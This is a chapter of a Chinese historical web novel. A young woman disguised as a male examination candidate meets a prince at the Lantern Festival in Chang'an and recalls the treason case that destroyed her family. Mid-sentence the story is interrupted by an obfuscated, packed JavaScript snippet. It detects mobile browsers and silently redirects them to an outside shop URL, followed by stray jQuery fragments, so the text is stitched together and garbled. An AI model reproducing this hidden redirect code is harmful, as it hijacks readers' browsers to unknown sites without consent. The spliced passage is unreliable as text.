上元佳节,也就是后世的元宵节。于今时的人来说,是个格外重要的节日。
顾珉小时候闹过要吃汤圆。她坐在阿娘怀里,一旁俊逸的男人,也就是她这世的父亲,抬手抚过她的头顶,问:“吾儿,汤圆何也?”
原来这时还没有汤圆。
尽管如此,她还是很高兴。小孩子最爱热闹。本朝实行宵禁制度,这样“盛饰灯影之会,金吾弛禁,特许夜行”①的日子,可不是什么时候都有的。
“非瑜!”
顾珉回神。
“你这是在想什么?喊你好几声了。怎可让裴兄久等?”
入目是赵安方正的脸,他打扮一新,此刻正神采奕奕看着自己。不远处,裴济懒懒倚在门框上,闻声撩起眼皮,斜着眼看过来。
裴济只要她陪着看灯,却没说不能带别人。比起两个人面对面尴尬,还是三个人来着好些。所以她叫上了赵安。
顾珉打个哈哈:“昨夜温书温得晚了,有些精神不济。让裴兄久等了。”
裴济:“你房间昨晚早早熄了灯,在梦里温的书?”
顾珉:“……”
少年,你怎么不懂看破不说破的艺术呢?
“某记忆不佳,贴经极烂,唯有勤能补拙。因此有安寝之前在心中默书的习惯。”
所谓贴经,可以理解为古代版挖空填词。是进士科中唯一考记忆的科目。
裴济撇撇嘴,明显不信的样子。进士科竞争激烈,能来长安应试的士子,无一不是过五关斩六将。要是贴经真不好,连第一关都过不去。不过好在他没再说什么,转身率先出门去了。
顾珉和赵安赶忙跟上,三人尬里尬气地走在大街上。长安主干道上当真是热闹非凡,所谓“花市灯如昼”②“火树银花合”③便是如此了。
顾珉怀念地四处打量。
“非瑜,你说这裴郎君缘何要我们陪着逛灯市?”赵安小声问道。
“谁知道。”顾珉看看前面那人的背影,“兴许是这喜庆节日,人人结伴出行,觉出孤单来了。”
越往里走行人越多,顾珉在一小摊前略停一停,再回头时便谁都瞧不见了。她四处看看,找不到人,只能作罢。
不可抗力因素,裴兄,可不是我不陪你。
她慢悠悠闲逛,顺手买了一盏兔子灯,又猜灯谜赢了一盏荷花灯,一手提一个,打算去找点吃的填填肚子。
谁知吃的没找到,先被街边杂耍的吸引目光。其人浓眉大眼,褐衣短打,满脸络腮胡更显豪气,高高扬起头颅,喉管崩直,一柄长剑自上而下便入口中。
顾珉看得啧啧称奇。
若非剑上有机关,便是此人经过训练,喉咙和胃连成一条直的通道,从而容纳长剑进入而不伤人。其中凶险可见一斑。
她摸摸自己的钱袋,在托盘上放上几枚铜板。
穷啊!
托盘游过人群,一枚金光闪闪的金裸子赫然出现。讨钱的少年连连道谢,简直要喜极而泣。
顾珉目瞪口呆,眼睛要被闪瞎。该说长安就是有钱人多吗?这位郎君你别走,我现在学一下吞刀术来得及否?
变故就是在顾珉仰天长啸时发生的。
哐当一声响。木质托盘砸在地上。众人目光跟着金裸子滚。有人一把捡过金子,拨开人群奋力便跑。
一片骚乱之中,被一把推翻在地的讨钱少年终于反应过来,扯着嗓子大喊:“抓贼!抓贼啊——!”
众人只见一黑衣男子提剑追去。不过几息之间,贼便被人扭送回来了。
长剑悬于脖颈之上,小贼瑟瑟发抖,冷汗连连,高呼求饶:“少侠饶命!少侠饶命!我再也不敢了!我再也不敢了!!”
持剑男子冷声问:“主子,怎么处理?”
一道温润清朗的声音传来:“送官。”
声音还怪好听。顾珉看了这一出好戏,却没瞧见这位有钱且声音好听主人公的真面目,颇为好奇。于是伸长脖子,想看个清楚。
那人极高挑,因此顾珉微一偏头,就看清了他的模样。
面容清俊,骨相极佳,周身披了一层淡淡的月光。天青色圆领长袍上针线繁复,修竹皎然。在顾珉看过去那刻,他恰好抬起低垂的眉眼。
四目相对,一时寂然。
竟然这么巧。
少顷,顾珉敛容,长揖而下。
这时虽没有汤圆,却有面蚕这种节日特色美食。他们且走且看,停在一家酒楼前。这酒楼装潢颇为典雅讲究,门外却立了一张很接地气的板子,上面写“楼内有面蚕提供”。
“既有缘相遇,便去尝尝。”
方才仗义的清俊男子率先朝酒楼走去。他们没在大堂里停留,直接去了二楼的包间。
包间颇大,清俊男子坐到主位上,又笑着让顾珉也坐。
“我以为你会来拜会我。”
顾珉陪笑:“我同殿下身份天差地别,这……实无拜会的理由。”
这位瞧着很是温润的男子,便是今上的第七子,燕王李晏。看着再随和好说话,那也是实打实的王室血统天潢贵胄,和顾珉这样的寒门士子隔了得有一光年的距离。
“你这是折煞我。”
顾珉拿来的两盏灯放在进门的墙角处。莲花灯粉嫩,栩栩如生,得其形。兔子灯红眼白身,圆头长耳,更得其神。
“从前出宫逛灯会,三兄每年都会给我买这样一盏兔子灯。”
顾珉默然。
“在礼部的举子名册上见到你的名字,我着实有些惊讶。”李晏看着眼前低眉顺目的清秀少年,“你既来长安科考,可见是有才学的。吏部的孟侍郎最是赏识人才,又同今年知贡举的孙侍郎交情匪浅。若有佳作,我可请孟侍郎替你品评一二。”
这是要帮她投行卷?
“多谢殿下好意,只是某受之有愧,还是算了吧。”
“何愧之有?”
这时敲门声响起,伙计在外面喊:“二位郎君,面蚕来了!”
所谓面蚕,就是把面粉捏成蚕状然后蒸熟,里头有或甜或咸的馅料。顾珉觉得有点像前世的包子。她盯着看,觉得自己有点饿。
“进士科士子投行卷是历来便有的规矩。再则,若说有愧,该是我对顾家有愧。”
李晏苦笑:“七年前,该去神策军送信的人是我,该担谋逆罪的也是我。顾家,实属无妄之灾。”
顾珉叹气。
七年前,顾珉十岁。那时她还不叫顾珉,叫顾瑜。父亲年少有为,前途光明,母亲温柔善良,将家中打理得井井有条。她是独女,集万千宠爱于一身,过的是不知烦恼二字如何写就的神仙日子。
可惜天堂地狱,一夕而已。
七年前的某一晚,一位不速之客悄至顾府。而后当时的户部侍郎顾敬之,也就是她的父亲,与漏夜而至的三皇子亲卫纵马出府,持三皇子手信前往京郊神策军大营。
手信言“太子谋反,入宫勤王”。
当时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202197|197239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的神策军兵马使与顾敬之一样,皆受三皇子亲舅王相举荐,不疑有他,当即带兵入宫,意欲勤王。
谁知行至半路,便有消息传来,三皇子已然被斩于承天门下,罪名谋逆。而他们这浩浩荡荡的勤王大军,便是三皇子谋逆的最好佐证。
一夜之间,长安震动,朝堂巨变。
王相病重,于谋逆事浑然不知,然身为罪臣舅父、当朝宰相,难辞其咎,自请贬谪。
顾府上下锒铛入狱。顾敬之以谋逆罪论处,斩首示众。顾家家产充公,顾瑜和母亲罚没为官奴婢,入掖庭。
顾夫人体弱多病,日日以泪洗面,还未等判决下来,便病逝于狱中。顾瑜则是入掖庭后突发急病,暴毙而亡。
“当年若非我突染风寒,去神策军送信的人,便不会是你父亲了。”
三皇子亲卫先找上的人是李晏——三皇子最疼爱的弟弟。可他身染风寒,这送信调军的担子,便落到了她的父亲身上。风云难测,造化弄人。顾珉再怨也无力回天。
今日再看,这桩谋逆案其实疑点众多。
其一,如果三皇子当真谋逆,大军难道不该早早知会?何故要等到谋逆当日紧急征召,凭的还是一封极易伪造的信件;
其二,三皇子谋逆前后,王相正是病重不起,连着告假好几日。谋逆这么大的事儿,竟然选在这个时候,丧失了王相这么大的助力,实在可疑;
其三,三皇子纵然谋逆,也该经由三司会审依律定罪,就这么不明不白被斩于剑下,难不成是太子心虚?
但无论如何,疑点再多,结局就是三皇子谋逆,太子坐稳东宫。
“殿下言重。若三皇子谋逆实乃诬陷,那么这愧便该算在诬陷之人头上;若三皇子当真谋逆……我父由王相举荐,官至四品。夺嫡凶险,与人无尤。”
这凭皇子手信调军入宫的差事儿,是个人都知道其间利害。她父亲既然去了,就是想搏一搏从龙之功。
“更何况,当年我出掖庭,成了乡间自由自在的顾郎君,还要多谢殿下。”
李晏叹息:“也罢。圣人重策问,不投便不投吧。”
今上不喜浮华,改制科考。进士科虽看重诗赋,却加大策问比重,以期选出真正能治国兴邦的实干之才。
作诗这东西讲究天赋自然,顾珉写诗写得中规中矩,不差却也不出挑。当时敢考进士科,就是因为今上重策问。所以这行卷不投也罢。
临别时,顾珉递上兔子花灯,“这灯便赠予殿下。方才观殿下眼神,似乎很是喜欢。”
李晏看着兔子花灯,眸中似有怀念。片刻,接过灯:“多谢郎君。”
他走出两步,复又转身:“当年我入掖庭见你,你十岁,不知有没有到我胸口。我想让你作富贵人家的小娘子,无灾无祸,欢愉一生。你却说,要做个郎君。天地阔大,小娘子只有四四方方宅院里的一片天空。而你要做的事情,在宅院之外。我斗胆问一句,郎君要做的事情是什么?”
顾珉垂眸,而后抬眼:“我只是,想要主宰自己的人生。”
热闹的街上是来来往往的芸芸众生。
李晏微微一笑:“那某便祝郎君心想事成,自有天地阔大。”
“借殿下吉言。”
目送着人走远,顾珉转身转身欲回馆驿。
不远处,裴济静静站在那里,不知看了多久,表情意味深长,耐人寻味。
顾珉眉心直跳。
“顾郎君,人脉颇广。”